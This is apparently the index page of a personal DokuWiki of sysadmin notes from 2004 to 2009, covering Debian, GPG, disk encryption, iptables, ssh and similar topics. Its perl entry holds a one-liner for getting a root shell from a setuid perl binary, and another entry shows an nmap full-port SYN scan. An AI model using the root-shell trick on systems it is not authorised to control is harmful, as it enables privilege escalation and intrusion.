Harry's DokuWiki harry

harry:apt-get

2009-03-16T08:40:18+02:00

Check which packages might be installed $ apt-get -qqqq -s dist-upgrade Key management Reminder: For key management, use the tool apt-key.

harry:aterm

2004-08-16T14:13:48+02:00

Installation $ ./configure --enable-background-image --enable-transparency --enable-fading \ --enable-menubar --enable-half-shadow --enable-next-scroll --enable-next-scroll $ make $ make install

harry:bash

2009-03-27T08:52:19+02:00

turn off STDERR in a script exec 2>&- closing file descriptors close input file descriptor n n<&- close output file descriptor n n>&- close STDIN 0<&-, <&- close STDOUT 1>&-, >&- close STDERR 2>&- move files with weird names To move all files, even with weird special characters in the filename, to another directory do this:

harry:bluetooth

2005-01-24T12:27:41+02:00

setup $ hciconfig This must show 'UP RUNNING PSCAN ISCAN' without 'AUTH ENCRYPT' $ hciconfig hci0 piscan $ hcitool scan $ hcitool info $ l2ping -c

$ sdptool browse $ ussp-push /dev/rfcomm0 src-file dst-file connecting via NFS To connect my Nokia 6600 via NFS, the following is to do (using p3nfs and the included NFS client):

harry:convert_ext2_to_ext3

2004-09-09T10:21:36+02:00

To convert a ext2 partition to ext3 unmount the partition or remount it read-only (if unmounting is not possible) and run $ tune2fs -j /dev/hda2 where /dev/hda2 is the partition to convert.

harry:cpm

2009-04-09T09:48:12+02:00

This program is a ncurses based console tool to manage passwords and store them public key encrypted in a file - even for more than one person. The encryption is handled via GnuPG so the programs data can be accessed via gpg as well, in case you want to have a look inside. The data is stored as as zlib compressed XML so it's even possible to reuse the data for some other purpose.

harry:cpm_features

2006-04-12T21:37:37+02:00

Here is a detailed list of the features which CPM provides. public key encryption The data is encrypted with GnuPG which uses public key encryption. This makes it possible to share the password file among several people. Sharing of a general password to decrypt the database is not necessary.

harry:cpm_gpg_rookie

2006-04-03T14:26:32+02:00

To create a new key for usage with CPM, the following procedure will help you to get started. Step 1 $ gpg --gen-key gpg (GnuPG) 1.4.2; Copyright (C) 2005 Free Software Foundation, Inc. This program comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions. See the file COPYING for details. Please select what kind of key you want: (1) DSA and Elgamal (default) (2) DSA (sign only) (5) RSA (sign only) Your selection? 1 DS…

harry:cpm_screenshots

2006-04-03T20:35:39+02:00

the loginscreen Here cpm just starts up and requests your passphrase to decrypt the datafile. Back to the main page. ---------- the hosts listing In this setup the first hierarchy are hosts which you can see here. This is all dynamic and you can configure it like you want.

harry:cpm_solaris10

2009-03-06T12:29:21+02:00

I am currently trying to port CPM to Solaris 10 (x86) with alot of support from Roland Buerk . Here is the documentation about the necessary steps. Sunfreeware packages Sunfreeware Packages * bzip2-1.0.5-sol10-x86-local.gz * coreutils-7.1-sol10-x86-local.gz * curl-7.19.4-sol10-x86-local.gz * diffutils-2.8.7-sol10-x86-local.gz * gettext-0.14.1-sol10-intel-local.gz * gnupg-1.4.8-sol10-x86-local.gz * gnupg-1.4.8-sol10-x86-local.gz * gpgme-1.1.4-sol10-x86-local.gz…

harry:cvs

2004-12-16T14:44:06+02:00

See also rcs Create a branch Get the current version of the head branch $ cvs co MODULENAME $ cvs update -dP Create the branch start tag $ cvs tag -START Set the branch tag $ cvs tag -b Checkout the new branch into a new directory

harry:cyrus

2004-08-16T14:21:41+02:00

Use the cyradm tool $ cyradm --user cyrus --auth login localhost Manual IMAP login login . LOGIN USER PWD logout . LOGOUT

harry:date

2004-08-16T14:23:21+02:00

convert unixtime to a date $ date -d '1970-01-01 UTC 1089540000 seconds' +"%Y-%m-%d %T %z"

harry:debian

2008-10-07T14:29:08+02:00

Configure the systems resource limits See the ulimit documentation. init.d updated $ update-rc.d name lvl 2 3 4 5 . Do not forget the '.' at the end of the commandline! Kernel compilation/update See the linux kernel documentation. Modifying the path for the root user In ~/.profile the path must be set before calling ~/.bashrc because otherwise no path modifications can be made.

harry:delegate

2008-10-14T07:57:09+02:00

DeleGate is a proxy server which can help to debug problems in many ways. Local Proxy To run as local proxy and forward all requests to another proxy server: ./linux-dg -v -P8000 ADMIN="YOUR@EMAIL" SERVER=http PROXY="PROXY-SERVER:PROXY-PORT:*"

harry:delld610

2005-07-31T20:03:36+02:00

Sound WLAN X Windows X windows only works with the xserver-xorg package. Using this driver, the display runs nicely with it's 1400×1050 resolution.

harry:dellmini9

2008-10-08T08:28:17+02:00

Documentation to get the Dell Inspiron Mini 9 Netnook to work with Ubuntu 8.04.1 LTS. Installation Since my Mini 9 never booted Windows I directly start with the installation howto for Ubuntu 8.04 LTS Desktop Edition. I downloaded the ISO image of the installation CD at . Unfortunately the alternate desktop CD did not boot from my USB stick so I had to use the normal version.

harry:dpkg

2004-08-16T14:28:33+02:00

List installed packages and status $ dpkg --list List installed packages $ dpkg --get-selections List files in a package $ dpkg -L Find the package which a file belongs to $ dpkg --search Purge a package $ dpkg --purge Reconfigure a package $ dpkg-reconfigure

harry:encrypted_data_partition

2004-09-09T10:15:58+02:00

Note: This procedure has not yet been verified. Its just theory!!! setup the partition For this procedure I assume that the data partition is on /dev/hda2. Moreover, its much more secure to use a secure key here once again. Required steps are:

harry:encrypted_root_partition

2006-03-26T14:46:28+02:00

This howto explains how to encrypt a root partition and the /home partition using a symmetric key which is stored on an USB memorystick. The memorystick is required during the boot process of the machine and the data partition holding the keys is also encrypted using a key which is stored in the initrd image on the notebook.

harry:encrypted_swap_partition

2004-08-18T10:34:43+02:00

For using an encrypted swap partition the following steps are necessary: * patch the file /etc/init.d/mountall.sh. Replace the line swapon -a 2> /dev/null with a call to /etc/init.d/mount-cryptoswap.sh. * add the script /etc/init.d/mount-cryptoswap.sh.

harry:encrypted_user_home_directory

2004-08-18T11:18:30+02:00

This is just a basic idea so far. It would be very cool to have a process to do the following: * Login a user via PAM * Request another passphrase for the decryption process * Mount the users homedirectory from the encrypted datafile The problems with this procedure is, that many processes refer to the users home directory via the /etc/passwd file and the home directory should stay there all the time - with or without active encryption.

harry:encryption_recovery

2004-09-09T11:07:13+02:00

In case you run into any problems with your encrypted root partition, it should be possible to recover from (almost) any problem. Of course, physical damage of the disk can not be recovered but anything else, if the system refuses to boot, should be.

harry:exim4

2004-08-16T14:29:50+02:00

Use fastmail.fm as smarthost Modify these files: * /etc/exim4/conf.d/transport/30_exim4-config_remote_smtp * /etc/exim4/conf.d/router/200_exim4-config_primary * /etc/exim4/passwd.client * /etc/exim4/update-exim4.conf.conf * /etc/email-addresses

harry:firefox

2005-09-28T14:49:44+02:00

Mozilla Firefox Useful extensions * Ad Block (setup) * Disable Targets For Downloads * Flashblock * IDN Info * Live HTTP Headers * Scrapbook * Tabbrowsing (setup) * Tweak Network * View Cookies * Web Developer

harry:firefox_adblock

2005-04-21T11:20:09+02:00

[Adblock] */ad/* */ads/* */banner/* */banners/* */ivw/* */vdz/* *adserv* *adtech* *connextra.com* *doubleclick* *falkag* *quality-channel*

harry:firefox_tabextensions

2005-04-21T11:18:13+02:00

// Tabbrowser Extensions preferences pref("browser.tabs.extensions.default", true); pref("browser.tabs.extensions.use_another_binding", false); pref("browser.tabs.extensions.auto_cleanUp", true); pref("browser.tabs.extensions.auto_cleanUp_count", 10); pref("browser.tabs.extensions.window_auto_close_timeout", false); pref("browser.tabs.extensions.tab_menu.show", true); pref("browser.tabs.extensions.prevent_same_uri_tab", false); pref("browser.tabs.extensions.reuse_current_blank_tab", false); pref…

harry:gettext

2005-04-20T15:37:43+02:00

In case gettext does not work on Debian systems, have a look at /etc/locale.alias and add the according language (e.g. en_US en_US.ISO-8859-1) add gettext support to a C program First you have to prepare the program by adding #include #define _(String) gettext(String) #define gettext_noop(String) String #define N_(String) gettext_noop(String)

harry:getty

2004-08-16T14:31:43+02:00

getty spawns too fast When getty spawns too fast in /etc/inittab, replace it with the package mingetty. /etc/inittab: 2:23:respawn:/sbin/mingetty tty2 --nice 15

harry:gnome

2008-10-21T12:38:13+02:00

Disable hibernate and suspend gconftool-2 --type bool --set /apps/gnome-power-manager/general/can_hibernate false gconftool-2 --type bool --set /apps/gnome-power-manager/general/can_suspend false

harry:gpg

2008-10-07T14:30:56+02:00

GPG rookie guide My small GPG rookie guide, which I wrote as part of the CPM manual might also be useful here. create a new key $ gpg --gen-key Enter 1, 2048, 0, y Enter data to create the key for. export a public key $ gpg --armor --output harry_b@eml.cc.asc --export harry_b@eml.cc import a public key $ gpg --import get a fingerprint $ gpg --edit-key harry_b@eml.cc Enter 'fpr'

harry:grsecurity

2005-03-08T14:48:31+02:00

grsecurity is a package based on PAX to harden the kernel against all sorts of security violations. installation To install the whole thing, I did the following: * apply the current patch of grsecurity like cd /usr/src/linux; patch -p1 < grsecurity-2.1.1-2.6.10.patch * recompile the kernel using make-kpkg * compile and install the gradm tool to control the grsecurity stuff.

harry:hdparm

2005-04-27T14:37:58+02:00

test the HDD performance $ hdparm -Tt /dev/hda arguments Useful rguments to hdparm are $ hdparm -c3 -m32 /dev/hda This enables (E)IDE 32-bit I/O support and sector count for multiple sector I/O. The entries in /etc/hdparm.conf are: io32_support = 3 mult_sect_io = 32

harry:imap-purge

2006-03-26T14:47:44+02:00

I wrote this little tool to automatically purge my mailinglist folders on my IMAP account. I automatically move my incoming emails to their destination folders so all mailinglists I am subscribed to end up in separate folders. For very busy mailinglists these folders fill up pretty quickly, e.g. the Linux kernel mailinglist, and since I had a disk quota of just 50 MBtye or so, I wrote this tool to clean up each folder individually.

harry:iptables

2008-10-07T14:46:36+02:00

Help for ICMP types $ iptables -p icmp -h Error ping: sendto: Operation not permitted If this error occurs, all chains in table mangle and nat have to be set to accept. $ iptables -t mangle -P OUTPUT ACCEPT $ iptables -t mangle -P PREROUTING ACCEPT $ iptables -t nat -P OUTPUT ACCEPT $ iptables -t nat -P POSTROUTING ACCEPT $ iptables -t nat -P PREROUTING ACCEPT Guide to IP Layer Network Administration with Linux

harry:lilo

2004-09-07T09:51:50+02:00

make a secondary disk bootable Then you have to prepare lilo to make the new disk bootable by editing the file /mnt/root/etc/lilo.conf. Note: Make sure you use an initrd image to boot. Otherwise there is no way to influence the boot sequence to make it possible to mount the USB memorystick containing the disk key.

harry:linux_kernel

2005-03-30T15:31:25+02:00

Kernel compilation $ cd /usr/src $ tar xjf /root/linux-2.6.2.tar.bz2 Create proper linux link to the new directory $ cd /usr/src/linux $ make menuconfig Testing $ make bzImage $ make modules $ make modules_install $ cp arch/i386/boot/bzImage /boot/vmlinuz-2.6.2 $ cp System.map /boot/System-2.6.2.map Modify /etc/lilo.conf and reboot

harry:locales

2009-03-02T09:05:43+02:00

Ubuntu Die aktuell aktiven Locales stehen in /var/lib/locales/supported.d/local, alle verfügbaren kann man unter /usr/share/i18n/SUPPORTED nachsehen. Neu generieren kann man die Locales dann per $ dpkg-reconfigure locales On Ubuntu 8.10, the files are in /var/lib/locales/supported.d. The current locale is in the file local, all installed locales are in the directory de, en and so on.

harry:lphdisk

2008-10-07T14:32:31+02:00

To create hibernation partition under Linux, the tool lphdisk can be used. Its home is here.

harry:memorystick

2004-09-09T10:39:11+02:00

partitions * sda1: (97.9 MB) Data partition to carry encrypted data * sda2: (32.0 MB) Key partition which I will use to hold the notebooks system key installation $ fdisk /dev/sda After the partitions are created its time to fill the partitions with useless data.

harry:mozex

2006-04-17T09:34:43+02:00

mozex is a plugin for Mozilla and Firefox which allows one to simply edit e.g. text areas and do alot of other nifty stuff. Its homepage is here. To install mozex on newer versions of firefox you have to use the developer-version!

harry:mud_chat

2006-03-13T22:43:39+02:00

create a new channel To create a new chat channel, the following command sequence is necessary: * chat list: * chat activate 33: * chat name 33:Newname * chat topic 33:This channel's topic. * chat list: allow feelings To allow feelings on a channel use the command:

harry:mulberry

2004-08-16T14:41:23+02:00

Turning on Protocol logging Information about the imap protocol in Mulberry can be found here.

harry:nmap

2004-10-01T10:47:25+02:00

To scan a host use $ nmap -sS -p 1-65535 -oN

harry:openssl

2009-03-19T07:57:57+02:00

Verify that SSLv2 is disabled Since SSL2 is considered to be insecure, here is how to check if it's really disabled. openssl s_client -connect HOSTNAME:PORT -ssl2 If you receive a certificate and lots of other lines, you have SSLv2 enabled. Otherwise, if you receive something like this you're fine:

harry:pax

2004-09-03T15:04:53+02:00

replace a path during extraction Assume you have a tar file which contains this file: $ tar tzf test.tar.gz /bin/mount And you do not want to unpack it at this location but in the current directory, then use $ zcat test.tar.gz | pax -pe -s :/bin/:./: -r and voila, the mount binary is in your current directory.

harry:perl

2009-07-07T06:45:29+02:00

Turn output buffering off $| = 1; Get a root shell from a suid perl binary /usr/bin/perl -e '$ENV{PATH}="/usr/local/bin:/usr/bin/:/bin/"; $ENV{ENV}="/etc/bash.bashrc"; $< = $>; print $<; system("/bin/bash");'

harry:ps

2004-08-16T14:42:31+02:00

List processes by start time $ ps -eo lstart,pid,user,args --sort lstart

harry:rcs

2008-10-07T14:34:48+02:00

See also cvs Checkout $ co -l Checkin $ ci -u

harry:screen

2009-02-05T13:34:06+02:00

Make the xterm title work with PROMPT_COMMAND Change “xterm*)” to “xterm*|screen*)” in /etc/bashrc for the PROMPT_COMMAND check Add the command name to the title * Modify the PS1 prompt to '\[k\\]\W >'. is created with Ctrl+V, ESC and after the 2nd a '\' must follow. '\W' is the variable name for the current directory. (e.g. PS1=“\[^[k^[\\\\\]\W > ” in /etc/bashrc) * Add the line: shelltitle '> |bash' to .screenrc * Add the line: hardstatus string ”[%n %t] %h” to …

harry:secure_key

2004-08-18T16:06:59+02:00

To encrypt disks and such stuff it is much safer to create a 'real' key and not use the password itself for the encryption process. create a secure key A secure key gets created like this: $ head -c 2880 /dev/urandom | uuencode -m - | head -n 65 | tail -n 64 | gpg --armour --symmetric > keyfile.gpg use a secure key To use the secure key simply pipe the output of gpg to cryptsetup like this:

harry:sed

2004-09-14T14:46:51+02:00

tutorial Here is a sed turorial which Jerri found here. To be able to append notes or whatever I put it here.

harry:sed_tutorial

2005-04-27T14:38:22+02:00

Hi everyone, this is a little (~50k) document on how to use doc, and with some trailing examples. Here it is now, after my name -- Carlos ---------- :r! sed -ne '/^-----/{;n;h;n;/^----/{;g;/^.\{72\}$/s/ */ /;p;};}' % This is a little document to help people using sed, not very fancy but better than nothing :-)

harry:snmp

2004-08-16T14:45:57+02:00

Useful tools $ scli $ snmpwalk [-On] -v 2c -c ifHCInOctets

harry:solaris

2005-05-17T22:15:40+02:00

Patches Show patches: $ patchadd -p Verify patches: $ showrev -p Packages Install new packages: $ pkgadd -d PACKAGE Installation In case the installation does not work from CD $ ./installer -nodisplay

harry:ssh

2008-10-07T14:50:01+02:00

X11 forwarding To get X11 forwarding running with Ubuntu, the package xauth is necessary. Create a new RSA key $ ssh-keygen -t rsa Open the tunnel from host1 -> t-host -> host2 using port t-port $ ssh -L ::22 @ Use the tunnel $ ssh -p @localhost

harry:symlinks

2005-03-07T14:47:03+02:00

This cool commandline tool is easily forgotten but very helpful to find broken symlinks and do all other stuff with symlinks. remove broken symlinks $ symlinks -rd /etc see what would be done $ symlinks -rt /

harry:sysrq

2004-08-17T13:40:56+02:00

Possible key combinations * Alt-SySRQ-B immediately reboot the system without syncing or unmounting disks * Alt-SySRQ-E send SIGTERM signal to all processes, except for init * Alt-SySRQ-H display help (actually any other key than those listed above will display help but 'h' is easy to remember :-)) * Alt-SySRQ-I send a SIGKILL to all processes, except for init * Alt-SySRQ-K kills all programs on the current virtual console. (Secure Access Key/SAK) * Alt-SySRQ-L send a SIGKILL to all…

harry:system_backup

2006-03-26T14:45:18+02:00

This document describes my procedure to backup my Debian server to a remote FTP server where the tar archives are encrypted. The whole backup is created in a temporary directory which is created first and removed after everything is done. To get the ftp access working properly, the ~/.netrc must enable the autologin to that server.

harry:tar

2004-08-24T17:49:28+02:00

create a full backup To create a full backup of a system you can use these steps. Log in to the host to backup and run $ tar --exclude /proc --exclude /sys --absolute-names --create --verbose --file - /* | pv | ssh USER@TARGET "gzip > backup.tar.gz" where USER@TARGET is another system where I stored the data. In this case I let the target host compress the content because it was a much faster machine.

harry:tcpdump

2008-11-05T13:25:42+02:00

List all communication with a certain host $ tcpdump -XX -w - -s 1024 -l host | strings

harry:testify

2006-03-26T14:47:00+02:00

This script, written in perl, is supposed to be a small testsuit for any kind of program/device which uses commandline input, such as the Cisco PIX. The program uses a simple technique which can be compared with a stack. Any test script contains these steps:

harry:thunderbird

2005-01-25T09:50:14+02:00

check all folders for new mail To make thunderbird check all available folders for new mail (instead of configuring each folder separately) find the file prefs.js, which is in ~/.mozilla-thunderbird/SOMEDIR and add the following line, when Thunderbird is not running.

harry:tomtom

2009-05-22T10:00:35+02:00

It happened several to me several times that I updated my TomTom using TomTom HOME (software version, maps, etc.) and after that all my favorites were gone. To restore them, just find the backup folder on your computer, which is for me C:\Users\UOURUSERNAME\Documents\TomTom\HOME\Sicherungskopie\ONE XL\Backup01 or in earlier versions was

harry:tspc

2005-03-15T11:32:28+02:00

This daemon is used to tunnel IPv6 to hexago.com. installation apt-get install tspc configuration Just add the your assigned username and password to the file /etc/tsp/tspc.conf.

harry:ttf

2009-02-24T06:35:23+02:00

cd /usr/share/fonts/truetype sudo mkdir myfonts cd myfonts/ sudo cp ~/*.ttf . sudo chmod 644 *.ttf sudo mkfontdir cd .. fc-cache

harry:tune2fs

2008-10-07T14:41:37+02:00

convert a ext2 partition ext3 To convert a ext2 partition to ext3 unmount the partition or remount it read-only (if unmounting is not possible) and run $ tune2fs -j /dev/hda2 where /dev/hda2 is the partition to convert.

harry:udev

2004-08-24T09:13:45+02:00

problem with cdrom In case the cdrom drive(s) don't show up after the installation of udev, the following steps are necessary: $ modprobe ide_cd $ modprobe cdrom $ echo "ide_cd" >> /etc/modules $ /etc/init.d/udev restart After that, the cdrom drives should work again.

harry:ulimit

2004-08-16T14:54:33+02:00

Modify default settings * Edit /etc/pam.d/su and enable the line containing pam_limits.so * Add the users limit to the file /etc/security/limits.conf

harry:uml

2005-10-19T17:30:36+02:00

The setup of UML on my Dell 610d Notebook took the following steps: Host Kernel Configuration The host kernel must have the tun network device enabled (CONFIG_TUN). The following commands must be performed to enable masquerading and forwarding on the host, to enable network access on the UML machine.

harry:umts

2009-10-05T16:48:20+02:00

I have an O2 UMTS stick, which works quite nicely with Linux and sometimes even with Windows. lsusb ... Bus 008 Device 005: ID 12d1:1003 Huawei Technologies Co., Ltd. E220 HSDPA Modem / E270 HSDPA/HSUPA Modem ... Linux I just installed umtsmon and it worked right away.

harry:unshield

2005-01-18T17:07:55+02:00

unshield extracts files from Windows CAB files.

harry:usb

2008-10-20T07:03:55+02:00

usb memory stick Installation Get the necessary packages $ apt-get install sysfsutils hotplug-utils udev usbutils ifrename Check if the module is found $ modprobe scsi_mod $ systool -vb scsi mounting $ mnt /dev/sda1 /mnt Interesting things about USB

harry:vim

2006-03-17T11:25:58+02:00

General Blocks < Moves the block one tab to the left << Moves the current line one tab to the left > Moves the block one tab to the right >> Moves the current line one tab to the right == Autoindents the block +v Mark a block line by line ++v Mark a block per column I Insert text at each line of the block …

harry:wget

2004-08-16T14:50:29+02:00

Fetch a website for local use $ wget --recursive --convert-links --page-requisites --domains= $ wget --recursive --convert-links --page-requisites --level=

harry:windows

2009-01-12T23:01:23+02:00

Windows Update Notification This article describes all one needs to know about this: A local copy of this article is here. Find my Username whoami Network netsh int ip set address name="Local Area Connection" source=static addr=10.0.0.3 mask=255.255.255.0 netsh int ip set address name="Local Area Connection" gateway=10.0.0.1 gwmetric=1 netsh int ip set dns name="Local Area Connection" source=static addr=10.0.0.1

harry:windows_update_notification

2008-12-04T11:41:34+02:00

This article is a local copy of this webpage. Windows Update Notifications icon will not show up in the Notification Tray for Standard Users that are logged into Windows Vista when a Windows Update is available to download and / or install. The Windows Update Notifications will appear when the user is running as an Administrator. Users that are running as Standard Users in Windows Vista could apply a policy to allow Windows Update Notifications to appear when updates are ready to download and /…

harry:wlan

2005-04-27T14:38:29+02:00

Linux install ndiswrapper To install the Netgear WG111 the following steps are necessary: * Get the NDIS drivers from the original CD-ROM which comes with the USB stick and copy them to /usr/local/ndis5. In this directory, I have these files:

harry:xserver-xfree86

2005-05-10T23:23:46+02:00

On Debian this package configures the X11 system. In case you want to reconfigure it, the command $ dpkg-reconfigure xserver-xfree86 has to be run. So far that's quite simple but to be able to write, MD5 files must exist in /var/lib/xfree86 for the following files: